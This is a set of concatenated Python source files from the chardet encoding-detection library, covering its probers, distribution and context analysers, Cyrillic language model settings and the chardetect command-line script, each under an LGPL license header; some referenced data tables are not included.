# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from .compat import wrap_ord

NUM_OF_CATEGORY = 6
DONT_KNOW = -1
ENOUGH_REL_THRESHOLD = 100
MAX_REL_THRESHOLD = 1000
MINIMUM_DATA_THRESHOLD = 4


class JapaneseContextAnalysis:
    def __init__(self):
        self.reset()

    def reset(self):
        self._mTotalRel = 0  # total sequence received
        # category counters, each interger counts sequence in its category
        self._mRelSample = [0] * NUM_OF_CATEGORY
        # if last byte in current buffer is not the last byte of a character,
        # we need to know how many bytes to skip in next buffer
        self._mNeedToSkipCharNum = 0
        self._mLastCharOrder = -1  # The order of previous char
        # If this flag is set to True, detection is done and conclusion has
        # been made
        self._mDone = False

    def feed(self, aBuf, aLen):
        if self._mDone:
            return

        # The buffer we got is byte oriented, and a character may span in more than one
        # buffers. In case the last one or two byte in last buffer is not
        # complete, we record how many byte needed to complete that character
        # and skip these bytes here.  We can choose to record those bytes as
        # well and analyse the character once it is complete, but since a
        # character will not make much difference, by simply skipping
        # this character will simply our logic and improve performance.
        i = self._mNeedToSkipCharNum
        while i < aLen:
            order, charLen = self.get_order(aBuf[i:i + 2])
            i += charLen
            if i > aLen:
                self._mNeedToSkipCharNum = i - aLen
                self._mLastCharOrder = -1
            else:
                if (order != -1) and (self._mLastCharOrder != -1):
                    self._mTotalRel += 1
                    if self._mTotalRel > MAX_REL_THRESHOLD:
                        self._mDone = True
                        break
                    self._mRelSample[jp2CharContext[self._mLastCharOrder][order]] += 1
                self._mLastCharOrder = order

    def got_enough_data(self):
        return self._mTotalRel > ENOUGH_REL_THRESHOLD

    def get_confidence(self):
        # This is just one way to calculate confidence. It works well for me.
        if self._mTotalRel > MINIMUM_DATA_THRESHOLD:
            return (self._mTotalRel - self._mRelSample[0]) / self._mTotalRel
        else:
            return DONT_KNOW

    def get_order(self, aBuf):
        return -1, 1

class SJISContextAnalysis(JapaneseContextAnalysis):
    def __init__(self):
        self.charset_name = "SHIFT_JIS"

    def get_charset_name(self):
        return self.charset_name

    def get_order(self, aBuf):
        if not aBuf:
            return -1, 1
        # find out current char's byte length
        first_char = wrap_ord(aBuf[0])
        if ((0x81 <= first_char <= 0x9F) or (0xE0 <= first_char <= 0xFC)):
            charLen = 2
            if (first_char == 0x87) or (0xFA <= first_char <= 0xFC):
                self.charset_name = "CP932"
        else:
            charLen = 1

        # return its order if it is hiragana
        if len(aBuf) > 1:
            second_char = wrap_ord(aBuf[1])
            if (first_char == 202) and (0x9F <= second_char <= 0xF1):
                return second_char - 0x9F, charLen

        return -1, charLen

class EUCJPContextAnalysis(JapaneseContextAnalysis):
    def get_order(self, aBuf):
        if not aBuf:
            return -1, 1
        # find out current char's byte length
        first_char = wrap_ord(aBuf[0])
        if (first_char == 0x8E) or (0xA1 <= first_char <= 0xFE):
            charLen = 2
        elif first_char == 0x8F:
            charLen = 3
        else:
            charLen = 1

        # return its order if it is hiragana
        if len(aBuf) > 1:
            second_char = wrap_ord(aBuf[1])
            if (first_char == 0xA4) and (0xA1 <= second_char <= 0xF3):
                return second_char - 0xA1, charLen

        return -1, charLen

# flake8: noqa






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Universal charset detector code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 2001
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#   Shy Shalom - original C code
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from . import constants
import re


class CharSetProber:
    def __init__(self):
        pass

    def reset(self):
        self._mState = constants.eDetecting

    def get_charset_name(self):
        return None

    def feed(self, aBuf):
        pass

    def get_state(self):
        return self._mState

    def get_confidence(self):
        return 0.0

    def filter_high_bit_only(self, aBuf):
        aBuf = re.sub(b'([\x00-\x7F])+', b' ', aBuf)
        return aBuf

    def filter_without_english_letters(self, aBuf):
        aBuf = re.sub(b'([A-Za-z])+', b' ', aBuf)
        return aBuf

    def filter_with_english_letters(self, aBuf):
        # TODO
        return aBuf






#!/usr/bin/env python
"""
Script which takes one or more file paths and reports on their detected
encodings

Example::

    % chardetect somefile someotherfile
    somefile: windows-1252 with confidence 0.5
    someotherfile: ascii with confidence 1.0

If no paths are provided, it takes its input from stdin.

"""

from __future__ import absolute_import, print_function, unicode_literals

import argparse
import sys
from io import open

from chardet import __version__
from chardet.universaldetector import UniversalDetector


def description_of(lines, name='stdin'):
    """
    Return a string describing the probable encoding of a file or
    list of strings.

    :param lines: The lines to get the encoding of.
    :type lines: Iterable of bytes
    :param name: Name of file or collection of lines
    :type name: str
    """
    u = UniversalDetector()
    for line in lines:
        u.feed(line)
    u.close()
    result = u.result
    if result['encoding']:
        return '{0}: {1} with confidence {2}'.format(name, result['encoding'],
                                                     result['confidence'])
    else:
        return '{0}: no result'.format(name)


def main(argv=None):
    '''
    Handles command line arguments and gets things started.

    :param argv: List of arguments, as if specified on the command-line.
                 If None, ``sys.argv[1:]`` is used instead.
    :type argv: list of str
    '''
    # Get command line arguments
    parser = argparse.ArgumentParser(
        description="Takes one or more file paths and reports their detected \
                     encodings",
        formatter_class=argparse.ArgumentDefaultsHelpFormatter,
        conflict_handler='resolve')
    parser.add_argument('input',
                        help='File whose encoding we would like to determine.',
                        type=argparse.FileType('rb'), nargs='*',
                        default=[sys.stdin])
    parser.add_argument('--version', action='version',
                        version='%(prog)s {0}'.format(__version__))
    args = parser.parse_args(argv)

    for f in args.input:
        if f.isatty():
            print("You are running chardetect interactively. Press " +
                  "CTRL-D twice at the start of a blank line to signal the " +
                  "end of your input. If you want help, run chardetect " +
                  "--help\n", file=sys.stderr)
        print(description_of(f, f.name))


if __name__ == '__main__':
    main()






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is mozilla.org code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from .mbcharsetprober import MultiByteCharSetProber
from .codingstatemachine import CodingStateMachine
from .chardistribution import EUCKRDistributionAnalysis
from .mbcssm import EUCKRSMModel


class EUCKRProber(MultiByteCharSetProber):
    def __init__(self):
        MultiByteCharSetProber.__init__(self)
        self._mCodingSM = CodingStateMachine(EUCKRSMModel)
        self._mDistributionAnalyzer = EUCKRDistributionAnalysis()
        self.reset()

    def get_charset_name(self):
        return "EUC-KR"






######################## BEGIN LICENSE BLOCK ########################
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

__version__ = "2.3.0"
from sys import version_info


def detect(aBuf):
    if ((version_info < (3, 0) and isinstance(aBuf, unicode)) or
            (version_info >= (3, 0) and not isinstance(aBuf, bytes))):
        raise ValueError('Expected a bytes object, not a unicode object')

    from . import universaldetector
    u = universaldetector.UniversalDetector()
    u.reset()
    u.feed(aBuf)
    u.close()
    return u.result






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Communicator client code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

# KOI8-R language model
# Character Mapping Table:

Koi8rModel = {
  'charToOrderMap': KOI8R_CharToOrderMap,
  'precedenceMatrix': RussianLangModel,
  'mTypicalPositiveRatio': 0.976601,
  'keepEnglishLetter': False,
  'charsetName': "KOI8-R"
}

Win1251CyrillicModel = {
  'charToOrderMap': win1251_CharToOrderMap,
  'precedenceMatrix': RussianLangModel,
  'mTypicalPositiveRatio': 0.976601,
  'keepEnglishLetter': False,
  'charsetName': "windows-1251"
}

Latin5CyrillicModel = {
  'charToOrderMap': latin5_CharToOrderMap,
  'precedenceMatrix': RussianLangModel,
  'mTypicalPositiveRatio': 0.976601,
  'keepEnglishLetter': False,
  'charsetName': "ISO-8859-5"
}

MacCyrillicModel = {
  'charToOrderMap': macCyrillic_CharToOrderMap,
  'precedenceMatrix': RussianLangModel,
  'mTypicalPositiveRatio': 0.976601,
  'keepEnglishLetter': False,
  'charsetName': "MacCyrillic"
};

Ibm866Model = {
  'charToOrderMap': IBM866_CharToOrderMap,
  'precedenceMatrix': RussianLangModel,
  'mTypicalPositiveRatio': 0.976601,
  'keepEnglishLetter': False,
  'charsetName': "IBM866"
}

Ibm855Model = {
  'charToOrderMap': IBM855_CharToOrderMap,
  'precedenceMatrix': RussianLangModel,
  'mTypicalPositiveRatio': 0.976601,
  'keepEnglishLetter': False,
  'charsetName': "IBM855"
}

# flake8: noqa






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is mozilla.org code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from .constants import eStart, eError, eItsMe


######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Universal charset detector code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 2001
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#   Shy Shalom - original C code
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from .charsetprober import CharSetProber
from .constants import eNotMe
from .compat import wrap_ord

FREQ_CAT_NUM = 4

UDF = 0  # undefined
OTH = 1  # other
ASC = 2  # ascii capital letter
ASS = 3  # ascii small letter
ACV = 4  # accent capital vowel
ACO = 5  # accent capital other
ASV = 6  # accent small vowel
ASO = 7  # accent small other
CLASS_NUM = 8  # total classes


# 0 : illegal
# 1 : very unlikely
# 2 : normal
# 3 : very likely
Latin1ClassModel = (
    # UDF OTH ASC ASS ACV ACO ASV ASO
    0,  0,  0,  0,  0,  0,  0,  0,  # UDF
    0,  3,  3,  3,  3,  3,  3,  3,  # OTH
    0,  3,  3,  3,  3,  3,  3,  3,  # ASC
    0,  3,  3,  3,  1,  1,  3,  3,  # ASS
    0,  3,  3,  3,  1,  2,  1,  2,  # ACV
    0,  3,  3,  3,  3,  3,  3,  3,  # ACO
    0,  3,  1,  3,  1,  1,  1,  3,  # ASV
    0,  3,  1,  3,  1,  1,  3,  3,  # ASO
)


class Latin1Prober(CharSetProber):
    def __init__(self):
        CharSetProber.__init__(self)
        self.reset()

    def reset(self):
        self._mLastCharClass = OTH
        self._mFreqCounter = [0] * FREQ_CAT_NUM
        CharSetProber.reset(self)

    def get_charset_name(self):
        return "windows-1252"

    def feed(self, aBuf):
        aBuf = self.filter_with_english_letters(aBuf)
        for c in aBuf:
            charClass = Latin1_CharToClass[wrap_ord(c)]
            freq = Latin1ClassModel[(self._mLastCharClass * CLASS_NUM)
                                    + charClass]
            if freq == 0:
                self._mState = eNotMe
                break
            self._mFreqCounter[freq] += 1
            self._mLastCharClass = charClass

        return self.get_state()

    def get_confidence(self):
        if self.get_state() == eNotMe:
            return 0.01

        total = sum(self._mFreqCounter)
        if total < 0.01:
            confidence = 0.0
        else:
            confidence = ((self._mFreqCounter[3] - self._mFreqCounter[1] * 20.0)
                          / total)
        if confidence < 0.0:
            confidence = 0.0
        # lower the confidence of latin1 so that other more accurate
        # detector can take priority.
        confidence = confidence * 0.73
        return confidence






######################## BEGIN LICENSE BLOCK ########################
# Contributor(s):
#   Ian Cordasco - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

import sys


if sys.version_info < (3, 0):
    base_str = (str, unicode)
else:
    base_str = (bytes, str)


def wrap_ord(a):
    if sys.version_info < (3, 0) and isinstance(a, base_str):
        return ord(a)
    else:
        return a






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Universal charset detector code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 2001
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#   Shy Shalom - original C code
#   Proofpoint, Inc.
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

import sys
from . import constants
from .charsetprober import CharSetProber


class MultiByteCharSetProber(CharSetProber):
    def __init__(self):
        CharSetProber.__init__(self)
        self._mDistributionAnalyzer = None
        self._mCodingSM = None
        self._mLastChar = [0, 0]

    def reset(self):
        CharSetProber.reset(self)
        if self._mCodingSM:
            self._mCodingSM.reset()
        if self._mDistributionAnalyzer:
            self._mDistributionAnalyzer.reset()
        self._mLastChar = [0, 0]

    def get_charset_name(self):
        pass

    def feed(self, aBuf):
        aLen = len(aBuf)
        for i in range(0, aLen):
            codingState = self._mCodingSM.next_state(aBuf[i])
            if codingState == constants.eError:
                if constants._debug:
                    sys.stderr.write(self.get_charset_name()
                                     + ' prober hit error at byte ' + str(i)
                                     + '\n')
                self._mState = constants.eNotMe
                break
            elif codingState == constants.eItsMe:
                self._mState = constants.eFoundIt
                break
            elif codingState == constants.eStart:
                charLen = self._mCodingSM.get_current_charlen()
                if i == 0:
                    self._mLastChar[1] = aBuf[0]
                    self._mDistributionAnalyzer.feed(self._mLastChar, charLen)
                else:
                    self._mDistributionAnalyzer.feed(aBuf[i - 1:i + 1],
                                                     charLen)

        self._mLastChar[0] = aBuf[aLen - 1]

        if self.get_state() == constants.eDetecting:
            if (self._mDistributionAnalyzer.got_enough_data() and
                    (self.get_confidence() > constants.SHORTCUT_THRESHOLD)):
                self._mState = constants.eFoundIt

        return self.get_state()

    def get_confidence(self):
        return self._mDistributionAnalyzer.get_confidence()






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Communicator client code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from .mbcharsetprober import MultiByteCharSetProber
from .codingstatemachine import CodingStateMachine
from .chardistribution import Big5DistributionAnalysis
from .mbcssm import Big5SMModel


class Big5Prober(MultiByteCharSetProber):
    def __init__(self):
        MultiByteCharSetProber.__init__(self)
        self._mCodingSM = CodingStateMachine(Big5SMModel)
        self._mDistributionAnalyzer = Big5DistributionAnalysis()
        self.reset()

    def get_charset_name(self):
        return "Big5"






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is mozilla.org code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

import sys
from . import constants
from .mbcharsetprober import MultiByteCharSetProber
from .codingstatemachine import CodingStateMachine
from .chardistribution import EUCJPDistributionAnalysis
from .jpcntx import EUCJPContextAnalysis
from .mbcssm import EUCJPSMModel


class EUCJPProber(MultiByteCharSetProber):
    def __init__(self):
        MultiByteCharSetProber.__init__(self)
        self._mCodingSM = CodingStateMachine(EUCJPSMModel)
        self._mDistributionAnalyzer = EUCJPDistributionAnalysis()
        self._mContextAnalyzer = EUCJPContextAnalysis()
        self.reset()

    def reset(self):
        MultiByteCharSetProber.reset(self)
        self._mContextAnalyzer.reset()

    def get_charset_name(self):
        return "EUC-JP"

    def feed(self, aBuf):
        aLen = len(aBuf)
        for i in range(0, aLen):
            # PY3K: aBuf is a byte array, so aBuf[i] is an int, not a byte
            codingState = self._mCodingSM.next_state(aBuf[i])
            if codingState == constants.eError:
                if constants._debug:
                    sys.stderr.write(self.get_charset_name()
                                     + ' prober hit error at byte ' + str(i)
                                     + '\n')
                self._mState = constants.eNotMe
                break
            elif codingState == constants.eItsMe:
                self._mState = constants.eFoundIt
                break
            elif codingState == constants.eStart:
                charLen = self._mCodingSM.get_current_charlen()
                if i == 0:
                    self._mLastChar[1] = aBuf[0]
                    self._mContextAnalyzer.feed(self._mLastChar, charLen)
                    self._mDistributionAnalyzer.feed(self._mLastChar, charLen)
                else:
                    self._mContextAnalyzer.feed(aBuf[i - 1:i + 1], charLen)
                    self._mDistributionAnalyzer.feed(aBuf[i - 1:i + 1],
                                                     charLen)

        self._mLastChar[0] = aBuf[aLen - 1]

        if self.get_state() == constants.eDetecting:
            if (self._mContextAnalyzer.got_enough_data() and
               (self.get_confidence() > constants.SHORTCUT_THRESHOLD)):
                self._mState = constants.eFoundIt

        return self.get_state()

    def get_confidence(self):
        contxtCf = self._mContextAnalyzer.get_confidence()
        distribCf = self._mDistributionAnalyzer.get_confidence()
        return max(contxtCf, distribCf)






######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Communicator client code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

from .euctwfreq import (EUCTWCharToFreqOrder, EUCTW_TABLE_SIZE,
                        EUCTW_TYPICAL_DISTRIBUTION_RATIO)
from .euckrfreq import (EUCKRCharToFreqOrder, EUCKR_TABLE_SIZE,
                        EUCKR_TYPICAL_DISTRIBUTION_RATIO)
from .gb2312freq import (GB2312CharToFreqOrder, GB2312_TABLE_SIZE,
                         GB2312_TYPICAL_DISTRIBUTION_RATIO)
from .big5freq import (Big5CharToFreqOrder, BIG5_TABLE_SIZE,
                       BIG5_TYPICAL_DISTRIBUTION_RATIO)
from .jisfreq import (JISCharToFreqOrder, JIS_TABLE_SIZE,
                      JIS_TYPICAL_DISTRIBUTION_RATIO)
from .compat import wrap_ord

ENOUGH_DATA_THRESHOLD = 1024
SURE_YES = 0.99
SURE_NO = 0.01
MINIMUM_DATA_THRESHOLD = 3


class CharDistributionAnalysis:
    def __init__(self):
        # Mapping table to get frequency order from char order (get from
        # GetOrder())
        self._mCharToFreqOrder = None
        self._mTableSize = None  # Size of above table
        # This is a constant value which varies from language to language,
        # used in calculating confidence.  See
        # http://www.mozilla.org/projects/intl/UniversalCharsetDetection.html
        # for further detail.
        self._mTypicalDistributionRatio = None
        self.reset()

    def reset(self):
        """reset analyser, clear any state"""
        # If this flag is set to True, detection is done and conclusion has
        # been made
        self._mDone = False
        self._mTotalChars = 0  # Total characters encountered
        # The number of characters whose frequency order is less than 512
        self._mFreqChars = 0

    def feed(self, aBuf, aCharLen):
        """feed a character with known length"""
        if aCharLen == 2:
            # we only care about 2-bytes character in our distribution analysis
            order = self.get_order(aBuf)
        else:
            order = -1
        if order >= 0:
            self._mTotalChars += 1
            # order is valid
            if order < self._mTableSize:
                if 512 > self._mCharToFreqOrder[order]:
                    self._mFreqChars += 1

    def get_confidence(self):
        """return confidence based on existing data"""
        # if we didn't receive any character in our consideration range,
        # return negative answer
        if self._mTotalChars <= 0 or self._mFreqChars <= MINIMUM_DATA_THRESHOLD:
            return SURE_NO

        if self._mTotalChars != self._mFreqChars:
            r = (self._mFreqChars / ((self._mTotalChars - self._mFreqChars)
                 * self._mTypicalDistributionRatio))
            if r < SURE_YES:
                return r

        # normalize confidence (we don't want to be 100% sure)
        return SURE_YES

    def got_enough_data(self):
        # It is not necessary to receive all data to draw conclusion.
        # For charset detection, certain amount of data is enough
        return self._mTotalChars > ENOUGH_DATA_THRESHOLD

    def get_order(self, aBuf):
        # We do not handle characters based on the original encoding string,
        # but convert this encoding string to a number, here called order.
        # This allows multiple encodings of a language to share one frequency
        # table.
        return -1


class EUCTWDistributionAnalysis(CharDistributionAnalysis):
    def __init__(self):
        CharDistributionAnalysis.__init__(self)
        self._mCharToFreqOrder = EUCTWCharToFreqOrder
        self._mTableSize = EUCTW_TABLE_SIZE
        self._mTypicalDistributionRatio = EUCTW_TYPICAL_DISTRIBUTION_RATIO

    def get_order(self, aBuf):
        # for euc-TW encoding, we are interested
        #   first  byte range: 0xc4 -- 0xfe
        #   second byte range: 0xa1 -- 0xfe
        # no validation needed here. State machine has done that
        first_char = wrap_ord(aBuf[0])
        if first_char >= 0xC4:
            return 94 * (first_char - 0xC4) + wrap_ord(aBuf[1]) - 0xA1
        else:
            return -1


class EUCKRDistributionAnalysis(CharDistributionAnalysis):
    def __init__(self):
        CharDistributionAnalysis.__init__(self)
        self._mCharToFreqOrder = EUCKRCharToFreqOrder
        self._mTableSize = EUCKR_TABLE_SIZE
        self._mTypicalDistributionRatio = EUCKR_TYPICAL_DISTRIBUTION_RATIO

    def get_order(self, aBuf):
        # for euc-KR encoding, we are interested
        #   first  byte range: 0xb0 -- 0xfe
        #   second byte range: 0xa1 -- 0xfe
        # no validation needed here. State machine has done that
        first_char = wrap_ord(aBuf[0])
        if first_char >= 0xB0:
            return 94 * (first_char - 0xB0) + wrap_ord(aBuf[1]) - 0xA1
        else:
            return -1


class GB2312DistributionAnalysis(CharDistributionAnalysis):
    def __init__(self):
        CharDistributionAnalysis.__init__(self)
        self._mCharToFreqOrder = GB2312CharToFreqOrder
        self._mTableSize = GB2312_TABLE_SIZE
        self._mTypicalDistributionRatio = GB2312_TYPICAL_DISTRIBUTION_RATIO

    def get_order(self, aBuf):
        # for GB2312 encoding, we are interested
        #  first  byte range: 0xb0 -- 0xfe
        #  second byte range: 0xa1 -- 0xfe
        # no validation needed here. State machine has done that
        first_char, second_char = wrap_ord(aBuf[0]), wrap_ord(aBuf[1])
        if (first_char >= 0xB0) and (second_char >= 0xA1):
            return 94 * (first_char - 0xB0) + second_char - 0xA1
        else:
            return -1


class Big5DistributionAnalysis(CharDistributionAnalysis):
    def __init__(self):
        CharDistributionAnalysis.__init__(self)
        self._mCharToFreqOrder = Big5CharToFreqOrder
        self._mTableSize = BIG5_TABLE_SIZE
        self._mTypicalDistributionRatio = BIG5_TYPICAL_DISTRIBUTION_RATIO

    def get_order(self, aBuf):
        # for big5 encoding, we are interested
        #   first  byte range: 0xa4 -- 0xfe
        #   second byte range: 0x40 -- 0x7e , 0xa1 -- 0xfe
        # no validation needed here. State machine has done that
        first_char, second_char = wrap_ord(aBuf[0]), wrap_ord(aBuf[1])
        if first_char >= 0xA4:
            if second_char >= 0xA1:
                return 157 * (first_char - 0xA4) + second_char - 0xA1 + 63
            else:
                return 157 * (first_char - 0xA4) + second_char - 0x40
        else:
            return -1


class SJISDistributionAnalysis(CharDistributionAnalysis):
    def __init__(self):
        CharDistributionAnalysis.__init__(self)
        self._mCharToFreqOrder = JISCharToFreqOrder
        self._mTableSize = JIS_TABLE_SIZE
        self._mTypicalDistributionRatio = JIS_TYPICAL_DISTRIBUTION_RATIO

    def get_order(self, aBuf):
        # for sjis encoding, we are interested
        #   first  byte range: 0x81 -- 0x9f , 0xe0 -- 0xfe
        #   second byte range: 0x40 -- 0x7e,  0x81 -- oxfe
        # no validation needed here. State machine has done that
        first_char, second_char = wrap_ord(aBuf[0]), wrap_ord(aBuf[1])
        if (first_char >= 0x81) and (first_char <= 0x9F):
            order = 188 * (first_char - 0x81)
        elif (first_char >= 0xE0) and (first_char <= 0xEF):
            order = 188 * (first_char - 0xE0 + 31)
        else:
            return -1
        order = order + second_char - 0x40
        if second_char > 0x7F:
            order = -1
        return order


class EUCJPDistributionAnalysis(CharDistributionAnalysis):
    def __init__(self):
        CharDistributionAnalysis.__init__(self)
